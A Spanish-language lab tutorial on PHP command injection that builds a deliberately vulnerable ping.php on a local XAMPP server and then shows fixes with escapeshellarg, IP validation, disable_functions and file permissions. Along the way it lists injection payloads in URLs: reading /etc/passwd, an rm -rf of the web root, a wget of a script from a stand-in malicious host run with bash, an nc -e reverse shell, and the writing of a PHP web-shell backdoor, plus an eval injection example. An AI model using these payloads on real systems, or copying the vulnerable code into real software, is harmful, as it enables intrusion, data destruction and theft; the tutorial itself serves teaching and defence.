Códigos de Vulnerabilidades Críticas en PHP (PHP2Shell)

Paso A:

Ruta pública:/opt/lampp/htdocs/

sudo nano /opt/lampp/htdocs/ping.php

```php
<?php
// Código vulnerable de ejemplo
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    // Vulnerable a ejecución directa de comandos del sistema operativo
    $resultado = shell_exec("ping -c 4 " . $ip);
    echo "<pre>$resultado</pre>";
}
?>
```

sudo /opt/lampp/lampp start

http://localhost/ping.php?ip=8.8.8.8

http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd

http://localhost/ping.php?ip=8.8.8.8;uname -a

http://localhost/ping.php?ip=8.8.8.8;whoami

Códigos peligrosos

http://localhost/ping.php?ip=8.8.8.8; rm -rf /var/www/html

http://localhost/ping.php?ip=8.8.8.8; wget
http://sitio-malicioso.com/virus.sh -O /tmp/v.sh; bash /tmp/v.sh

http://localhost/ping.php?ip=8.8.8.8; nc -e /bin/bash 192.168.1.50 4444

Fín Códigos peligrosos

http://localhost/ping.php?ip=8.8.8.8;whoami

http://localhost/ping.php?ip=8.8.8.8;uname -a

http://localhost/ping.php?ip=8.8.8.8;hostname

Paso B:

```
Actúa como un Auditor de Ciberseguridad Senior y Analista de Código
Seguro en PHP.
Revisa el siguiente fragmento de código en busca de vulnerabilidades
críticas de ejecución remota de comandos (RCE):

<?php
if (isset($_GET['ip'])) {
    $ip = $_GET['ip'];
    $resultado = shell_exec("ping -c 4 " . $ip);
    echo "<pre>$resultado</pre>";
}
?>

Entrégame tu análisis estructurado de la siguiente manera:
1. Identificación exacta de la línea vulnerable y el riesgo asociado
(PHP2Shell / RCE).
2. Explicación de cómo un atacante podría explotarlo.
3. El código corregido y seguro aplicando las mejores prácticas de
saneamiento y funciones seguras (ej. escapes o listas blancas).
```

Paso C:

```
$ip = $_GET['ip'];
// escapeshellarg convierte "8.8.8.8; cat /etc/passwd" en "'8.8.8.8; cat
/etc/passwd'"
$resultado = shell_exec("ping -c 4 " . escapeshellarg($ip));
```

```
$ip = $_GET['ip'];

// Validar si realmente es una IP válida (IPv4 o IPv6)
if (filter_var($ip, FILTER_VALIDATE_IP)) {
    $resultado = shell_exec("ping -c 4 " . escapeshellarg($ip));
    echo "<pre>$resultado</pre>";
```

```
} else {
    echo "Error: Dirección IP no válida.";
}
```

```
disable_functions = exec, passthru, shell_exec, system, proc_open, popen
```

sudo nano /opt/lampp/etc/php.ini

sudo nano /etc/php/8.x/cli/php.ini

disable_functions = exec, passthru, shell_exec, system, proc_open, popen

sudo /opt/lampp/lampp restart

http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd

Bloque 4 Paso D:

```
sudo chmod -R 777 /opt/lampp/htdocs/
```

http://localhost/ping.php?ip=8.8.8.8; echo "<?php system(\$_GET['cmd']); ?>" > /opt/lampp/htdocs/backdoor.php

```
sudo chown -R www-data:www-data /opt/lampp/htdocs/
sudo chmod 755 /opt/lampp/htdocs/
sudo chmod 644 /opt/lampp/htdocs/ping.php
```

http://localhost/ping.php?ip=8.8.8.8; echo "hacked" > /opt/lampp/htdocs/test.txt

```php
// PÉSIMO: Evalúa la cadena directamente como código PHP
$color = $_GET['color'];
eval("\$bg = '$color';");
// Un atacante enviaría: color=blue'; system('id'); '
```

```php
// CORRECTO: Validación mediante Lista Blanca (Whitelist)
$ip = $_GET['ip'] ?? '';

// 1. Sanitización/Validación estricta con funciones nativas
if (!filter_var($ip, FILTER_VALIDATE_IP)) {
    die("Error: Formato de dirección IP inválido.");
}

// 2. Uso seguro de argumentos
$ip_segura = escapeshellarg($ip);
$resultado = shell_exec("ping -c 4 " . $ip_segura);
```

tail -f /opt/lampp/logs/access_log

tail -f /var/log/apache2/access.log

http://localhost/ping.php?ip=8.8.8.8;cat /etc/passwd

```
127.0.0.1 - - [29/Oct/2026:21:00:00 -0400] "GET
/ping.php?ip=8.8.8.8;cat%20/etc/passwd HTTP/1.1" 200 1450
```